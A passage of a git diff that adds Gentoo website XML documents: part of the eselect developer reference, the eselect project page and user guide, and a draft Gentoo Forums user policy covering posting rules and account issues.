+    index 1, the second with index 2 and so on.
+    In eselect-1.2.2 or later, the <c>-m</c> option can be used to specify a
+    negative report message that is output for an empty list.
+  </dd>
+
+  <dt>highlight</dt>
+  <dd>
+    The <c>highlight</c> utility function can be used to emphasise some text
+    which is to be displayed by any of the above functions. A typical
+    invocation might look like that in the
+    <uri link="#doc_chap3_pre1">code listing</uri> shown below.
+  </dd>
+
+  <dt>highlight_warning</dt>
+  <dd>
+    The <c>highlight_warning</c> function is like <c>highlight</c>, but for
+    warnings. It displays the text in question in red.
+  </dd>
+
+  <dt>highlight_marker</dt>
+  <dd>
+    To mark a list entry as active/selected, the <c>highlight_marker</c>
+    function should be used. First argument is the list entry. The function
+    places a highlighted star (or its second argument instead, if set) behind
+    the entry. A typical invocation might look like that in the
+    <uri link="#doc_chap3_pre2">code listing</uri> shown below.
+  </dd>
+
+  <dt>is_output_mode</dt>
+  <dd>
+    The <c>is_output_mode</c> function returns true if and only if its
+    parameter is equal to eselect's output mode. Currently, only the default
+    and <c>brief</c> output modes are defined, the latter corresponding to
+    the <c>--brief</c> option.
+    (This function appeared in eselect-1.2.6.)
+  </dd>
+
+  <dt>space</dt>
+  <dd>
+    The <c>space</c> utility function takes a single integer parameter.
+    It displays that many space characters.
+  </dd>
+</dl>
+
+<pre caption="highlight example">
+write_list_start "This is $(highlight list) example"
+write_kv_list_entry "First" "This is the first entry"
+write_kv_list_entry "$(highlight Second)" "This is the $(highlight second) entry"
+write_kv_list_entry "Third" "$(highlight The end)"
+</pre>
+
+<pre caption="highlight_marker example">
+for (( i = 0; i &lt; ${#targets[@]}; i++ )); do
+    [[ test_if_target_is_active ]] \
+        &amp;&amp; targets[i]=$(highlight_marker "${targets[i]}")
+done
+</pre>
+
+</body>
+</section>
+
+<section id="tests">
+<title>Test Functions</title>
+<body>
+
+<p>
+  These are implemented in <path>libs/tests.bash</path>.
+</p>
+
+<dl>
+  <dt>has</dt>
+  <dd>
+    The <c>has</c> utility function is like Portage's <c>hasq</c>. It returns
+    true if and only if the first parameter is equal to any of the remaining
+    parameters.
+  </dd>
+
+  <dt>is_function</dt>
+  <dd>
+    The <c>is_function</c> utility function returns true if and only if its
+    parameter exists and is a function. This is mostly used internally, but
+    may have some use for modules.
+  </dd>
+
+  <dt>is_number</dt>
+  <dd>
+    Returns true if and only if the parameter is a positive whole number.
+  </dd>
+</dl>
+
+</body>
+</section>
+
+<section id="path-manipulation">
+<title>Path-Manipulation Functions</title>
+<body>
+
+<p>
+  These are implemented in <path>libs/path-manipulation</path>.
+</p>
+
+<dl>
+  <dt>basename</dt>
+  <dd>
+    The <c>basename</c> function is a transparent bash-only replacement for
+    the external <c>basename</c> application.
+  </dd>
+
+  <dt>dirname</dt>
+  <dd>
+    The <c>dirname</c> function is a transparent bash-only replacement for
+    the external <c>dirname</c> application.
+  </dd>
+
+  <dt>canonicalise</dt>
+  <dd>
+    The <c>canonicalise</c> function is a wrapper to either GNU
+    <c>readlink -f</c> or <c>realpath</c>.
+  </dd>
+
+  <dt>relative_name</dt>
+  <dd>
+    The <c>relative_name</c> function converts a path name (passed as its
+    first argument) to be relative to a directory (second argument).
+    This can be used to generate a relative symlink from absolute paths.
+    (This function appeared in eselect-1.2.4.)
+  </dd>
+</dl>
+
+</body>
+</section>
+
+<section id="manip">
+<title>Manipulation Functions</title>
+<body>
+
+<p>
+  These are implemented in <path>libs/manip.bash</path>.
+</p>
+
+<dl>
+  <dt>svn_date_to_version</dt>
+  <dd>
+    The <c>svn_date_to_version</c> function can be used instead of manually
+    keeping track of VERSION. It is safe to use in global scope. The canonical
+    usage is as shown in the <uri link="#doc_chap3_pre3">code listing</uri>
+    below.
+  </dd>
+</dl>
+
+<pre caption="svn_date_to_version usage">
+SVN_DATE='&#36;Date: &#36;'
+VERSION=$(svn_date_to_version "${SVN_DATE}")
+<comment>(Now turn on the SVN keyword expansion for the module)</comment>
+svn propset svn:keywords "Date" modules/foo.eselect
+</pre>
+
+</body>
+</section>
+
+<section id="config">
+<title>Configuration Functions</title>
+<body>
+
+<p>
+  These are implemented in <path>libs/config.bash</path>.
+</p>
+
+<dl>
+  <dt>store_config</dt>
+  <dd>
+    The <c>store_config</c> function saves a key/value pair in a given
+    configuration file which is passed as first argument. This file is
+    a bash script consisting only of key/value pairs and should not be
+    altered manually. Comments in the file will be deleted each time
+    <c>store_config</c> is called. The function is invoked as
+    <c>store_config filename key value</c>.
+  </dd>
+
+  <dt>load_config</dt>
+  <dd>
+    The <c>load_config</c> function loads a stored value from the module's
+    configuration file. It is invoked as <c>load_config filename key</c> and
+    prints the associated value.
+  </dd>
+
+  <dt>append_config</dt>
+  <dd>
+    The <c>append_config</c> function adds an item to an already
+    stored value in the modules configuration file. It uses
+    <c>load_config</c>/<c>store_config</c> internally and should be
+    invoked as <c>append_config filename key item</c>. Note that the
+    item will not be appended if it occurs in the key's value already.
+  </dd>
+</dl>
+
+</body>
+</section>
+
+<section id="multilib">
+<title>Multilib Functions</title>
+<body>
+
+<p>
+  These are implemented in <path>libs/multilib.bash</path>.
+</p>
+
+<dl>
+  <dt>list_libdirs</dt>
+  <dd>
+    The <c>list_libdirs</c> function returns a set of valid libdirs for the
+    used architecture. By default it uses <path>/etc/ld.so.conf</path> to
+    obtain all the valid libdirs. If this fails due to a missing or broken
+    file, this function uses <c>uname</c> to determine the architecture.
+  </dd>
+</dl>
+
+</body>
+</section>
+
+<section id="package-manager">
+<title>Package-Manager Functions</title>
+<body>
+
+<p>
+  These are implemented in <path>libs/package-manager.bash</path>.
+</p>
+
+<dl>
+  <dt>arch</dt>
+  <dd>
+    The <c>arch</c> function returns the correct value of ${ARCH} for the
+    current system. If the package manager cannot provide this information,
+    <c>arch</c> falls back to a <c>uname -m</c> and <c>uname -s</c> based
+    lookup-table.
+  </dd>
+
+  <dt>envvar</dt>
+  <dd>
+    The <c>envvar</c> function retrieves the contents of a
+    configuration-environment variable for a given package. The syntax
+    is <c>envvar ${package-name} ${var-name}</c>.
+  </dd>
+
+  <dt>best_version</dt>
+  <dd>
+    The <c>best_version</c> function returns the highest available version for
+    a given package dep atom.
+  </dd>
+
+  <dt>has_version</dt>
+  <dd>
+    The <c>has_version</c> function checks whether a given versioned package
+    dep atom is installed.
+  </dd>
+
+  <dt>get_repositories</dt>
+  <dd>
+    The <c>get_repositories</c> function returns a list of repositories known
+    to the package manager.
+  </dd>
+
+  <dt>get_repo_news_dir</dt>
+  <dd>
+    The <c>get_repo_news_dir</c> function returns the directory where to find
+    GLEP 42 news items for a given repository.
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/eselect/index.xml b/xml/htdocs/proj/en/eselect/index.xml
new file mode 100644
index 00000000..26b47d47
--- /dev/null
+++ b/xml/htdocs/proj/en/eselect/index.xml
@@ -0,0 +1,107 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/eselect/index.xml,v 1.18 2009/09/12 15:05:01 ulm Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>eselect</name>
+
+<longname>Gentoo's eselect modular framework for configuration and administration utilities</longname>
+<date>2009-09-12</date>
+
+<author title="Author">
+<mail link="kugelfang@gentoo.org">Danny van Dyk</mail>
+</author>
+<author title="Contributor">
+<mail link="slarti@gentoo.org">Tom Martin</mail>
+</author>
+<author title="Contributor">
+<mail link="ulm@gentoo.org">Ulrich Müller</mail>
+</author>
+
+<description>
+This page contains information about eselect, Gentoo's
+modular administration and configuration framework.
+</description>
+
+<longdescription><p>
+This page contains information about eselect, Gentoo's
+modular administration and configuration framework.
+</p></longdescription>
+
+<dev role="member" description="*">peper</dev>
+<dev role="member" description="*">ulm</dev>
+<dev role="member" description="modules">dberkholz</dev>
+<dev role="member" description="documentation">fox2mike</dev>
+
+<extrachapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<!-- I wish guidexml had proper support for epigraphs.
+    neysx 13-july-2007, <p by="signature">blah blah</p> has been supported for a long time
+<p>
+<e>
+eselect
+</e>
+</p>
+<p>
+<e>
+adj: selecting what seems best of various styles or ideas
+</e>
+</p> -->
+<p>
+eselect provides a modular configuration framework for Gentoo systems, aiming
+to centralise and consolidate existing tools. It has a command line interface,
+but is nonetheless quite friendly.
+</p>
+<p>
+eselect is written completely in <c>bash</c>, including the modules. This
+language has proved ideal for this task, as eselect modules are easy to write,
+simple to maintain, and do not require specific knowledge of a particular
+language like C, Python or Ruby. eselect modules have a similar structure to
+Ebuilds.
+</p>
+<p>
+eselect contains modules for altering the <path>/usr/src/linux</path> symlink,
+changing the Portage profile, a somewhat experimental but useable interactive
+module for updating CONFIG_PROTECTed files, a module for handling runlevels
+andthe init system, and many others.
+</p>
+
+<p>
+eselect aims for ease of use and consistency between configuration and
+adminisation modules used within a Gentoo installation.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Documentation</title>
+<section>
+<body>
+
+<p>
+You can find the official eselect documentation here.
+</p>
+
+<ul>
+  <li>
+  <uri link="user-guide.xml">eselect User Guide</uri>
+  </li>
+  <li>
+  <uri link="dev-guide.xml">eselect Developer Reference</uri>
+  </li>
+  <li>
+  <uri link="http://sources.gentoo.org/viewcvs.py/*checkout*/eselect/trunk/NEWS">News for eselect</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/eselect/user-guide.xml b/xml/htdocs/proj/en/eselect/user-guide.xml
new file mode 100644
index 00000000..b971709a
--- /dev/null
+++ b/xml/htdocs/proj/en/eselect/user-guide.xml
@@ -0,0 +1,236 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/eselect/user-guide.xml,v 1.8 2009/09/19 12:32:37 ulm Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/eselect/user-guide.xml">
+<title>eselect User Guide</title>
+
+<author title="Author">
+  <mail link="ciaranm@gentoo.org">Ciaran McCreesh</mail>
+</author>
+<author title="Author">
+  <mail link="kugelfang@gentoo.org">Danny van Dyk</mail>
+</author>
+<author title="Author">
+  <mail link="ulm@gentoo.org">Ulrich Müller</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+
+<abstract>
+  This document is a complete reference guide for the end user of the eselect
+  tool.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.2.0</version>
+<date>2009-09-19</date>
+
+<chapter>
+<title>Introduction</title>
+
+<section>
+<title>A Brief Overview</title>
+<body>
+
+<p>
+  eselect is a tool for administration and configuration on Gentoo systems.
+  It <e>will</e> modify the system's behaviour and should be used with care by
+  the system administrator. eselect is a modular framework for writing
+  configuration utilities. It consists of:
+</p>
+
+<ul>
+  <li>
+    A main program called <c>eselect</c>.
+  </li>
+  <li>
+    Various modules (*.eselect files) which carry out different tasks.
+  </li>
+  <li>
+    Several libraries which help ensure consistent behaviour and
+    simplify the creation of new modules.
+  </li>
+</ul>
+
+<p>
+  A module provides several actions. Actions typically either display some
+  information (<c>list</c> and <c>show</c> actions are common) or update the
+  system somehow (for example, <c>set</c> and <c>update</c>). Each module also
+  provides <c>help</c> and <c>usage</c> actions which explain how to use the
+  module.
+</p>
+
+<note>
+  Some modules install symlinks to the main program. eselect handles these
+  intelligently. For example, it realises that <c>profile-config list</c>
+  should be treated as if the user had run <c>eselect profile list</c>.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Advantages for end users and System Administrators</title>
+<body>
+
+<p>
+  For system administrators and end users, tools written as eselect modules
+  offer several advantages over the traditional "write each tool from scratch"
+  approach:
+</p>
+
+<ul>
+  <li>
+    Consistent UI – eselect modules provide a consistent user interface.
+    Thanks to eselect's action framework, there is no longer any need to
+    remember or look up dozens of -x style switches for each tool. The output
+    format used by modules is also standardised.
+  </li>
+  <li>
+    Consistent help format – All eselect modules provide easily accessible
+    help documentation via the <c>help</c> and <c>usage</c> actions.
+  </li>
+  <li>
+    Consistent tool naming – There is no need to remember dozens of foo-config
+    and update-blah names. To see a list of available tools, simply run
+    <c>eselect</c> with no arguments. Of course the foo-config style are still
+    available (via symlinks) if you prefer them.
+  </li>
+  <li>
+    Guaranteed support for <c>$ROOT</c> – For those of you using <c>$ROOT</c>,
+    you will not have to worry about whether a particular tool can handle it.
+    Support for <c>$ROOT</c> is required for all eselect modules.
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Advantages for Developers and Package Maintainers</title>
+<body>
+
+<p>
+  Writing your tool as an eselect module rather than starting from scratch
+  gives you various benefits:
+</p>
+
+<ul>
+  <li>
+    Faster development time – Much of the work has already been done for you.
+    eselect provides a series of libraries for common tasks, and the main
+    <c>eselect</c> program handles most of the hard work for you. All you need
+    to do is provide the actions and any domain specific functions you
+    require.
+  </li>
+  <li>
+    Automatic actions – The <c>help</c> and <c>usage</c> actions are
+    automatically generated from your actions, so there is no need to spend
+    time worrying about keeping these written up to date.
+  </li>
+  <li>
+    Easy, consistent behaviour – Because most of the input, output and command
+    line handling is split off into library functions, writing a "standard"
+    module which behaves consistently with other tools is very simple.
+  </li>
+  <li>
+    Familiar format – For Gentoo developers, the eselect module
+    format will be very familiar – it is a bash file with a
+    structure that is quite similar to ebuilds.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Using eselect</title>
+<section>
+<title>Usage</title>
+<body>
+
+<p>
+  eselect should be called as shown below.
+</p>
+
+<pre caption="eselect – General Syntax">
+# <i>eselect [&lt;global options&gt;] &lt;module&gt; &lt;action&gt; &lt;options&gt;</i>
+</pre>
+
+<p>
+  eselect features consistently name actions amongst most of its modules.
+  <c>eselect list-modules</c> will show a list of available modules. There is
+  only one global option as of now; <c>--no-color</c>, which asks eselect to
+  stop showing colored output, which is the default. The following are the
+  standard action names – each module may provide a subset of these actions:
+</p>
+
+<ul>
+  <li>
+    <c>help</c> – Print the modules help screen.
+  </li>
+  <li>
+    <c>usage</c> – Print information on how to invoke the modules actions.
+  </li>
+  <li>
+    <c>version</c> – Print the modules version and other useful information.
+  </li>
+  <li>
+    <c>list</c> – Prints a set of selectable options.
+  </li>
+  <li>
+    <c>show</c> – Prints the currently active configuration(s).
+  </li>
+  <li>
+    <c>set</c> – Select one of the options offered by <c>list</c>.
+  </li>
+  <li>
+    <c>enable</c> – Enable one of the module specific features.
+  </li>
+  <li>
+    <c>disable</c> – Disable one of the module specific features.
+  </li>
+  <li>
+    <c>update</c> – Like <c>set</c>, but automatically selects an option
+    rather than taking a parameter.
+  </li>
+  <li>
+    <c>scan</c> – Gather information about the system and store it for future
+    usage by the module.
+  </li>
+</ul>
+
+<p>
+  A typical session will look like the following for most modules:
+</p>
+
+<pre caption="Example eselect session">
+<comment>(Find out options for a module)</comment>
+# <i>eselect &lt;module&gt; list</i>
+These selections are available:
+	[1]&lt;first&gt;
+	[2]&lt;second&gt;
+<comment>(Set an option)</comment>
+# <i>eselect &lt;module&gt; set &lt;first&gt;</i>
+<comment>(Display the current config)</comment>
+# <i>eselect &lt;module&gt; show</i>
+Active Selection:
+	&lt;item1&gt;
+</pre>
+
+<p>
+  You can usually set items either by name or number.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/forums/draft/user-policy.xml b/xml/htdocs/proj/en/forums/draft/user-policy.xml
new file mode 100644
index 00000000..2175b702
--- /dev/null
+++ b/xml/htdocs/proj/en/forums/draft/user-policy.xml
@@ -0,0 +1,584 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/forums/draft/user-policy.xml,v 1.2 2005/08/13 19:31:59 deathwing00 Exp $ -->
+
+<guide link="/proj/en/forums/draft/user-policy.xml" lang="en">
+<title>Gentoo Forums User Policy (Draft)</title>
+<author title="Author/Editor">
+  <mail link="deathwing00@gentoo.org">Ioannis Aslanidis</mail>
+</author>
+<author title="Contributor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Contributor">
+  <mail link="nitro@gentoo.org">Kyle Manna</mail>
+</author>
+
+<abstract>
+The intention of this guide is to merge in a single document all the user
+guidelines to form a global policy. Additionally, this guide will try to
+cover all basic questions a user could have towards the forums.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2005-08-12</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Targeted Audience</title>
+<body>
+
+<p>
+This document is meant for <b>every Gentoo Forums user</b>, including
+<uri link="http://forums.gentoo.org/groupcp.php?g=916">Forums Staff</uri> and
+<uri link="http://forums.gentoo.org/groupcp.php?g=24">Developers</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo Forums as a way of technical assistance</title>
+<body>
+
+<p>
+The Gentoo Forums represent possibly the most practical way of technical
+assistance for Gentoo related issues. There are two main benefits:
+</p>
+
+<ol>
+<li>You can search for existing solutions on your issue, where other means like
+IRC do not let you</li>
+<li>You can get an answer from other users or developers pretty quickly, maybe
+not as quickly as in IRC, however your question will always be there, you won't
+need to be asking all the time for help.</li>
+</ol>
+
+</body>
+</section>
+<section>
+<title>The structuring of Gentoo Forums</title>
+<body>
+
+<p>
+The Gentoo Forums are structured in four great blocks, each one intended for a
+different objective:
+</p>
+
+<ol>
+<li>
+<uri link="http://forums.gentoo.org/index.php?c=1">Assistance</uri>: Here you
+can find Gentoo-related <uri link="http://forums.gentoo.org/viewforum-f-16.html">
+News &amp; Announcements</uri>,
+<uri link="http://forums.gentoo.org/viewforum-f-40.html">FAQs</uri> and
+differentiated forums where to post determined type of questions.
+</li>
+<li>
+<uri link="http://forums.gentoo.org/index.php?c=4">Discussion &amp;
+Documentation</uri>: This block is not intended for assistance with getting
+Gentoo to work, but to post documents on how to do things, talk about
+non-gentoo related things, provide feedback on the forums mainly. Here you can
+find the <uri link="http://forums.gentoo.org/viewforum-f-38.html">Duplicate
+Threads</uri> and our <uri link="http://forums.gentoo.org/viewforum-f-48.html">
+Dustbin</uri>, where all spam goes.
+</li>
+<li>
+<uri link="http://forums.gentoo.org/index.php?c=11">International Gentoo
+Users</uri>: The perfect place to have users post whatever they like in their
+prefered language.
+</li>
+<li>
+<uri link="http://forums.gentoo.org/index.php?c=12">Architectures &amp;
+Platforms</uri>: Alternative supported architectures block, for issues specific
+to them, not related to x86.
+</li>
+</ol>
+
+</body>
+</section>
+<section>
+<title>Contents of this guide</title>
+<body>
+
+<p>
+There are two main sections in this guide, each one related to different
+aspects:
+</p>
+
+<ol>
+<li>
+<uri link="#doc_chap2">User policies</uri>: The expected behaviour of people
+when using the forums.
+</li>
+<li>
+<uri link="#doc_chap3">User account issues</uri>: Description of common user
+account issues and possible ways to solve them.
+</li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>User policies</title>
+<section>
+<title>Essential rules</title>
+<body>
+
+<impo>
+We know that this document might be a little extensive and that probably most
+users know almost everything about this, however consider reading at least
+these essential rules.
+</impo>
+
+<ol>
+  <li>
+    <b>Use common sense</b>: Just because it isn't explicitly stated as
+    one of the rules below it doesn't mean it's OK. Use common sense and good
+    <uri link="http://www.albion.com/netiquette/corerules.html">Netiquette</uri>
+    when posting, replying and browsing these forums. This includes the
+    following:
+    <ul>
+      <li>
+        No posts for the sole purpose of increasing your postcount.
+      </li>
+      <li>
+        No <e>senseless</e> posts. This might be subjective, however bear in
+	mind that if a coherent conversation cannot be read in the thread, it
+	might be senseless.
+      </li>
+      <li>
+        No posting of <e>SPAM</e> to the forum. Also, please do not reply to
+	SPAM, just <uri link="http://forums.gentoo.org/viewtopic-t-28820.html">
+	report</uri> it.
+      </li>
+      <li>
+        No Personal Messaging SPAM to people. SPAM includes unsolicited
+	messaging. If it takes you hours to send hundreds of Personal Messages,
+	it is still SPAM.
+      </li>
+      <li>
+        Do not participate in
+	<uri link="http://forums.gentoo.org/viewtopic.php?t=211695">quote
+	pyramids</uri>.
+      </li>
+    </ul>
+  </li>
+  <li>
+    <b>Check that your question isn't answered anywhere else</b>: Gentoo
+    Linux is very well <uri link="http://docs.gentoo.org">documented</uri>, but
+    most users seem to overlook the obvious. Check out a collection of helpful
+    links <uri link="http://forums.gentoo.org/viewtopic.php?t=556">here</uri>.
+  </li>
+  <li>
+    <b>Search before posting</b>: Please try to use the
+    <uri link="http://forums.gentoo.org/search.php">search feature</uri>
+    on the website prior to starting a new topic regarding a problem you are
+    experiencing. Chances are, due to the rapid growth of the forum, your
+    problem may have been solved already or a problem similar to it. However,
+    bear in mind that due to performance issues, some search words have been
+    filtered out. Please, have a look at the
+    <uri link="http://forums.gentoo.org/viewtopic-t-223530.html">stopword
+    list</uri>. By searching prior to posting, you will help yourself by find a
+    solution sooner, and keep the newer problems in focus. Please also search
+    the <uri link="http://bugzilla.gentoo.org">Bugzilla</uri> and file a bug if
+    appropriate.
+  </li>
+  <li>
+    <b>Include logs and explicit the commands you executed</b>: Nobody
+    can help you if they don't know what's wrong or what you did to get the
+    error you recieved. Providing this information will greatly aid others in
+    assisting you, and will allow an easier and faster diagnosis of your
+    problem.
+  </li>
+  <li>
+    <b>Choose a good subject</b>: Do not make your subject say just
+    "<e>Help gentoo newbie</e>" because nobody wants to hear this. Describe
+    your problem briefly in your subject, then you can describe your problem in
+    greater depth in the body of your article. Repeat the subject in the body
+    if it will make things clearer. Avoid "<e>Subject says it all</e>" in the
+    body of your article.
+  </li>
+  <li>
+    <b>Use BBCodes if you feel you can</b>:
+    <uri link="https://forums.gentoo.org/faq.php?mode=bbcode">BBCodes</uri>
+    help to make articles more readable.
+  </li>
+  <li>
+    <b>Thank those who help you</b>: If you post a problem and someone
+    helps you, simply replying with a thank you message or an acknowledgement
+    that their suggestions worked are very much appreciated. This will also
+    help other users know that the proposed solution worked.
+  </li>
+  <li>
+    <b>No bashing</b>: If someone is posting about a problem they are
+    experiencing, don't simply tell them they are using the wrong program and
+    recommend they try your recommendation. Instead, provide facts or opinions
+    supporting your recommendation, provide positive feedback, and please keep
+    the criticism low.
+  </li>
+  <li>
+    <b>Keep on topic</b>: If you are replying about something to do with
+    iptables, for instance, and someone mentions a configuration tool that runs
+    in KDE, don't start talking about KDE, stick to the topic. Go start a new
+    topic and post a link to the old one if there is relevant information
+    there.
+  </li>
+  <li>
+    <b>One thread per topic</b>: Please, do not post issues of different
+    kind in the same thread. Split them into several ones and have them placed
+    in the appropiate assistance forum.
+  </li>
+  <li>
+    <b>No personal attacks</b>: These forums are not a place for you to
+    take cheap shots at somebody because he/she did something. Do that somewhere
+    place else (or even better, get over it). You have been warned.
+  </li>
+  <li>
+    <b>No illegal activites</b>: Please do not discuss illegal
+    activities, such as cracking software, breaking into web sites and so on.
+    While such activities might not be illegal in all countries, this server is
+    hosted in the US and, as such, must abide by US laws. By allowing
+    discussions about illegal activities to take place on these forums, we may
+    expose the Gentoo project to unnecessary legal liability. Therefore, any
+    posts that advocate activities that are illegal under US laws may be
+    deleted or edited without notice.
+  </li>
+  <li>
+    <b>No cross posting</b>: Please do not post the same question into
+    multiple forums. Cross posting clutters up the forums and makes things like
+    searching harder for other users. If you feel your question could fit in
+    multiple forums, please pick the best one and post there. If you would like
+    your topic moved, request it
+    <uri link="http://forums.gentoo.org/viewtopic-t-28820.html">here</uri>.
+    Also, please do not post about the same subject multiple times. One thread
+    is sufficient.
+  </li>
+  <li>
+    <b>Be careful with thread bumping</b>: We understand that sometimes
+    a user might need a quick reply to his question, however, let 24 hours pass
+    before bumping a thread. Excessive thread bumps will not produce the
+    expected results.
+  </li>
+  <li>
+    <b>Ask questions the smart way</b>: If you are new to the internet,
+    forums or the world of Linux, or if you just aren't sure what kinds of
+    questions are okay to ask and how they should be phrased, then please read
+    <uri link="http://www.catb.org/~esr/faqs/smart-questions.html">How To Ask
+    Questions The Smart Way</uri> and
+    <uri link="http://www.chiark.greenend.org.uk/~sgtatham/bugs.html">How To
+    Report Bugs Effectively</uri>. It covers many of the same points as
+    covered in this guide, but goes into far more detail and offers detailed
+    explanations and suggestions.
+  </li>
+  <li>
+    <b>No multiple accounts</b>: Each person should have only one
+    account. If you get banned for some reason and simply create another
+    account, it will get banned the minute the moderators become aware of it.
+  </li>
+</ol>
+
+</body>
+</section>
+<section>
+<title>Special rules: Documentation, Tips &amp; Tricks</title>
+<body>
+
+<warn>
+This is not a support forum, so please, do not ask for support.
+</warn>
+
+<ol>
+  <li>
+    Feel free to use the other assistance forums to ask questions regarding a
+    tip or trick. You are encouraged to include a link to the tip/trick you are
+    referring to make it easier for other to help you.
+  </li>
+  <li>
+    Do not ask for tip or trick to be posted. If you ask here, your post will
+    be moved to the appropiate place.
+  </li>
+  <li>
+    Users are encouraged to simply thank the author if their tip or trick
+    worked for them.
+  </li>
+  <li>
+    Provide detailed information about what your tip or trick does, and how it
+    works. <e>Please, do not merely link to another website.</e>
+  </li>
+  <li>
+    If you are willing to submit a Document, tip or trick, first of all, make
+    sure it works. Also make sure it is easy to read. We suggest you to use
+    <uri link="https://forums.gentoo.org/faq.php?mode=bbcode">BBCodes</uri>
+    to improve your text's readability.
+  </li>
+</ol>
+
+</body>
+</section>
+<section>
+<title>Special rules: Off The Wall</title>
+<body>
+
+<note>
+The Off The Wall forum is intended for pretty much anything not related to
+Gentoo. This includes political, religious, racial, ethnic, and other
+<e>sensitive</e> topics. You are free to say what you want in this forum,
+however keep the guidelines in mind.
+</note>
+
+<ol>
+  <li>
+    <brite>All posts must be professional and courteous.</brite> You are free
+    to disagree with your fellow community members. You are not allowed however
+    to attack, degrade, troll or malign them. It doesn't matter what forum
+    title you have, <b>you are expected to follow this rule</b>.
+  </li>
+  <li>
+    If you are easily offended, have thin skin or are otherwise
+    overly-sensitive, <e>this is not the forum for you</e>. There are a lot of
+    people who have opinions here and they are not afraid to share them.
+    Subject to the first provision, they are free to do so.
+  </li>
+  <li>
+    If you feel that a thread is getting out of hand, or you see a post where
+    you feel one member is being disrespectful to another, feel free to bring it
+    to the attention of a global moderator. At the bottom of the front page, you
+    can see a list of who's online. Moderators are listed in green, site admins
+    in orange. Drop a PM to whomever happens to be online at the moment. If
+    nobody is online, report it
+    <uri link="http://forums.gentoo.org/viewtopic-t-28820.html">here</uri>.
+  </li>
+  <li>
+    The phrases "<e>you are an idiot</e>", "<e>shut up bitch</e>" and "<e>when
+    you're done having sex with your computer</e>" are generally indicative of
+    a problematic post. Suggested alternatives include, "<e>I disagree with your
+    points and here's why</e>", "<e>please</e>" and "<e>thank you</e>".
+  </li>
+</ol>
+
+</body>
+</section>
+<section>
+<title>About Duplicate Threads</title>
+<body>
+
+<p>
+If a thread is moved to the
+<uri link="http://forums.gentoo.org/viewforum-f-38.html">Duplicate Threads
+forum</uri>, it means that the topic it covers is discussed somewhere else in
+another thread. The reason such threads are kept is due to the fact that
+there are different ways to explain an issue as well as there may be different
+problems that might have the same solution. If your thread is moved to this
+forum in favor of another thread, consider following up that other thread and
+optionally provide additional information you might have if there is no
+solution to the problem yet or you feel that the proposed solution does not
+fit you well.
+</p>
+
+</body>
+</section>
+<section>
+<title>Issues with threads and posts</title>
+<body>
+
+<p>
+If you feel a post or a thread is missplaced or is a duplicate of another one,
+please let use know
+<uri link="http://forums.gentoo.org/viewtopic-t-28820.html">here</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>User account issues</title>
+<section>
+<title>I am unable to create a user account for myself</title>
+<body>
+
+<p>
+If you have trouble registering to our forums using the
+<uri link="http://forums.gentoo.org/profile.php?mode=register">registration
+page</uri>, feel free to send an email to
+<mail link="forum-mods@gentoo.org">forum-mods@gentoo.org</mail> with a subject
+that denotes that you need an account created for you ("<e>Forums account
+creation</e>", for instance). Explicit your desired <e>username</e> and the
+<e>email address</e> you want your account to be registered to, so we can
+setup an account for you. Please, <e>avoid sending us your password</e> as we
+will not set it for you. You will have to use the
+<uri link="http://forums.gentoo.org/profile.php?mode=sendpassword">lost
+password feature</uri> in order to set it.
+</p>
+
+</body>
+</section>
+<section>
+<title>I created an account but I did not receive a confirmation email</title>
+<body>
+
+<p>
+If you created an account but after some hours you did not receive a
+confirmation mail to activate your account, please send an email to
+<mail link="forum-mods@gentoo.org">forum-mods@gentoo.org</mail> with subject
+"<e>No forums confirmation mail received</e>" and provide your <e>username</e>
+and <e>e-mail address</e> in the body of the message.
+</p>
+
+</body>
+</section>
+<section>
+<title>I changed my email address and my account got locked</title>
+<body>
+
+<p>
+If you changed your email address in your profile, you should have received a
+confirmation email into the new email address. If that did not happen, your
+account might have got locked. Please, send an email to
+<mail link="forum-mods@gentoo.org">forum-mods@gentoo.org</mail> with an
+appropiate subject, providing <e>your old and your new email addresses</e> and your
+forums <e>username</e> as well.
+</p>
+<p>
+Please, also contact us if you inserted and erroneous/unexistant email address
+with your forums <e>username, the old email address and the erroneous one</e>.
+</p>
+
+</body>
+</section>
+<section>
+<title>I forgot my password</title>
+<body>
+
+<p>
+Please, do not contact us if you lost your password. Use the
+<uri link="http://forums.gentoo.org/profile.php?mode=sendpassword">lost
+password feature</uri> to reset it.
+</p>
+
+</body>
+</section>
+<section>
+<title>I want to change my username</title>
+<body>
+
